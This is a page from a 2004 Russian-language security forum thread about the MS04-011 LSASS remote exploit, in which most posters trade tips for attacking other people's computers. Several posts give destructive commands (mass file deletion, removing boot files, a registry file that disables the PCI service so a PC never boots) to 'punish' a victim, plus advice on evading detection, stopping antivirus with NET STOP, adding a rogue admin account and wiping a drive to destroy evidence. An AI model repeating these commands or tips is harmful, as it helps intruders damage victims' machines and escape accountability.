Security Lab



Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти  
Форум » Обсуждение статей (закрыто) » Обсуждение публикаций
Страницы: Пред. 1 ... 12 13 14 15 16 ... 19 След.
RSS
MS04011 Lsasrv.dll RPC buffer overflow remote exploit (PoC) with Un...
 
#261
Это нравится:0Да/0Нет
16.05.2004 20:16:04
Третий день думают  , тупые ну тупые [IMG]http://www.securitylab.ru/forum/smileys/smiley17.gif[/IMG]
 
 
 
#262
Это нравится:0Да/0Нет
16.05.2004 22:00:57
2Задорнов:
Хорошо, что ты хоть у нас умный есть, а то пропали бы все.
 
 
 
#263
Это нравится:0Да/0Нет
17.05.2004 10:28:58
Пацаны помогите плз. залеc к одному уроду  пишу типо - del c:\*.* а он мне - Продолжить [Y(да)/N(нет)]? y
 я иму типа - y  канешна  "у"  и ни чё ни происходит всё типо на месте осталось, памагите плз очень надо таго урода наказать .
 
 
 
#264
Это нравится:0Да/0Нет
17.05.2004 17:35:19
2 Гость
ну насмешил сотри пару файликов ntldr и ntdetect.com
ну а остальное так по мелочи по каталогам *.*
 
 
 
#265
Это нравится:0Да/0Нет
17.05.2004 17:48:46
Ны вы долбo~бы!
c:
cd\
del *.* /q /s /f
И ждём....
 
 
 
#266
Это нравится:0Да/0Нет
17.05.2004 20:00:41
Ok но Команда Del не есть гуд - слишком открыто и долго шуршит диском и всякие подсавщики типа э-э .. могут догадаться. Есть способ проще и эффективней.
В блокноте создать файл - f.reg  с таким тектстом (пробел межда первой и второй строками):

REGEDIT 4

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PCI]
"Start"=DWORD:00000004

кинуть его например в  C:\Windows  и выполнить :

cd c:\windows
regedit.exe /s f.reg

всё - на машине отключается сервис PCI и после перезагрузки КОМП БОЛЬШЕ НЕ ЗАГРУЗИТСЯ.
 
 
 
#267
Это нравится:0Да/0Нет
23.05.2004 23:47:00
Как ни говорите, а все-таки профилактический потенциал данного эксплоита огромен! [IMG]http://www.securitylab.ru/forum/smileys/smiley36.gif[/IMG]
Рисую ситуацию: домашняя сеть на две дюжины компов, юзвери по большей части - полные чайники, и я в качестве местного администратора...  о какой безопасности может быть речь?! ленятся даже антивирус поставить (главная отмазка у них - "антивирус тормозит игры"), а всякие заплатки тем более. Уже запарился всякую заразу выуживать - по локалке гуляет как в зоопарке...
Скачал данный эксплоит - устроил парочке юзверей показательную демонстрацию с последующим разъяснением... вы бы видели какая паника началась! [IMG]http://www.securitylab.ru/forum/smileys/smiley36.gif[/IMG] через три дня абсолютно все (!!!) сидели с нужными заплатками, антивирусом и фаерволлом...
 
 
 
#268
Это нравится:0Да/0Нет
25.05.2004 00:09:47
Цитата
culibin пишет:
И насчет совета №10560203 гнать всех приходящих с претензией куда подальше. Не советую. Дороже выйдет.
Особенно когда на руках у пришедшего логи снифа, файрвола, ИДСки и все это подперто логами провайдера, ...
5. Посещаем "больного" с юристом, с кучей логов и группой поддержки. Ну а дальше в лучших российских традициях получаем с него гонорар или привлекаем к отработке

Вот я бы пришедшего ко мне с логами "..снифа, файрвола, ИДСки и все это подперто логами провайдера.." послал бы куда подальше т.к. по настоящему "компетентные органы" с логами сами ни к кому НЕ ХОДЯТ ... надо просто поплотнее закрыть дверь и затереть нафиг винт как главный "вещь-док" - все остальные "логи" без винта это пустое место - поскольку взлом мог быть произведён кем-то другим через твою тачку !
А на счёт "..Посещаем "больного" с юристом, с кучей логов и группой поддержки..." то это вообще ярко выраженный синдром сезонного обострения хронической шизофрении.
 
 
 
#269
Это нравится:0Да/0Нет
02.06.2004 00:40:08
ЫГЫ тока бы сканер к ниму припаяли и reverse шелл
и в линь импортировали
был бы как КАНт прекрасно!!
 
 
 
#270
Это нравится:0Да/0Нет
06.06.2004 22:06:00
Люди, сабж (процесс NTVDM) грузит атакуемый хост вплоть до 98% процессорного времени. Есть ли какие-нить способы уменьшить загрузку? Комп то мощный, 1,7ГГЦ, но пользователь не выключает его неделю, могут "запалить".
Или посоветуйте плиз, можно ли прибить в конце "сеанса связи" этот процесс. Или на худой конец, как перезагрузить не вызывая подозрений или выключить удаленный хост?
Еще вопрос, может ли админ локалки (все действия делаю в ней) увидеть мои действия с сабжем не входя на атакуемый хост?
И еще вопросец, почему то стандартный telnet после нескольких команд виснет. Приходится юзать nc.
 
 
 
#271
Это нравится:0Да/0Нет
10.06.2004 11:00:41
qazw
посмотри
netmon.exe (системная утилита на сервере)
а если из пакета System Management Server [IMG]http://www.securitylab.ru/forum/smileys/smiley2.gif[/IMG]
ЗЫ: официальный снифер от мелкософта
PPS если обычные хабы (не свич) то весь трафик видно
//ну очень полезный утиль для изучения трафика в сети
 
 
 
#272
Это нравится:0Да/0Нет
11.06.2004 17:42:48
Цитата
Virtual пишет:
qazw
посмотри
netmon.exe (системная утилита на сервере)
а если из пакета System Management Server [IMG]http://www.securitylab.ru/forum/smileys/smiley2.gif[/IMG]
ЗЫ: официальный снифер от мелкософта
PPS если обычные хабы (не свич) то весь трафик видно
//ну очень полезный утиль для изучения трафика в сети
как раз большинство - свитчи. Карочи, если можно, поподробнее.
А когда заливать на удаленку софт - антивири там ругаются?
 
 
 
#273
Это нравится:0Да/0Нет
15.06.2004 07:07:01
qazw
антивири всегда ругаются, на это есть: NET STOP
Если Свичи то трафик физически не виден
 
 
 
#274
Это нравится:0Да/0Нет
17.06.2004 19:06:56
ок! спасибо! только все равно придется тренироваться на "кошках", т.е. на своей тачке.

может кто подскажет, как стандартными средствами винды прибить прожорливый процесс (NTVDM), (net stop показывает только сервисы)? и скорее всего, запланировав через at.
Или может быть есть хорошая консольная прога управления процессами? ссылку, если не жалко.
 
 
 
#275
Это нравится:0Да/0Нет
20.06.2004 20:04:00
Так еще вопрос насчет телнета....нашел машыну...но Делаю коннект он пишет

Подключение к хх.хх.хх.хх...Не удалось открыть подключение к этому узлу на порт 1234

Подключение не установлено так как конечный компютер отверг запрос на подключение
 
 
 
#276
Это нравится:0Да/0Нет
21.06.2004 17:09:38
;) Прибил бы заодно и процесс services....службу workstation....проще всего это сделать нажав кнопку power ;)
 
 
 
#277
Это нравится:0Да/0Нет
23.06.2004 14:54:45
в ХР есть хорошая вещч tasklist taskill
но частеьнко из эксплойта не запускаются
(путь решения: эксплойт-новый пользователь-в группу админ-новая консоль под ентим пользователем-коннект к консоли-творим что хотим)
 
 
 
#278
Это нравится:0Да/0Нет
24.06.2004 04:57:34
how can i get lsass exploit binary version?
 
 
 
#279
Это нравится:0Да/0Нет
24.06.2004 07:44:41
2divino
пройдись по топику были ссылки
 
 
 
#280
Это нравится:0Да/0Нет
28.06.2004 00:10:45
!!!Помогите!!!
Люди подскажите как с машины жертвы скопировать любой фаил к себе на винт... И что для этого надо сделать???
 
 
 
Страницы: Пред. 1 ... 12 13 14 15 16 ... 19 След.
Читают тему